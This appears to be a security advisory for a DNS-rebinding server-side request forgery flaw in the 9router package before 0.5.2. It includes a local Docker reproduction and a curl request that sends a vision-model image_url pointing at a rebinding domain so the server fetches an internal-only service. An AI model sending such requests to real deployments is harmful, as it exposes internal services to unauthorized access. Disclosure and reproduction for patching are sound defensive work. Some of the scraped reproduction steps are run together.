| Package | Affected versions | Patched versions |
|---|---|---|
| 9router | < 0.5.2 | 0.5.2 |
9router validates image URLs by resolving the host before fetching, but the later server-side fetch performs a separate DNS resolution. An attacker-controlled DNS name can resolve to a public IP during validation and then rebind to an internal Docker/private IP during the fetch. This allows the server-side image prefetch to reach internal-only HTTP services (SSRF).
v0.4.80 @ b282f05./v1/chat/completions with a vision-capable model and an
image_url content part. A vision-capable model name is required so the image survives
modality stripping and the server-side prefetch is armed.rebind.9r.test:
1.1.1.1 (public) to pass the public-host guard,172.29.0.10 (internal-admin) during the fetch.GET /ssrf-marker with peer=172.29.0.30 (the proxied-router
container), proving the server-side fetch landed on the internal service.POST /api/chat and the flow completes with HTTP 200.This repository is a self-contained Docker Compose reproduction. No real provider is called and no real API key is required.
docker compose up --build
internal-admin is unreachable from the host:
curl -i http://127.0.0.1:18083/ssrf-marker # connection refused / fail
docker compose ps # internal-admin has NO host port mapping
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freePOST image-prefetch DNS rebinding trigger from
requests.http, or with curl:
curl -i -X POST http://127.0.0.1:18082/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "ollama-local/gemma3",
"messages": [{"role":"user","content":[
{"type":"text","text":"reproduction image-prefetch trigger"},
{"type":"image_url","image_url":{"url":"http://rebind.9r.test:8080/ssrf-marker?case=rebind-trigger"}}
]}],
"stream": false
}'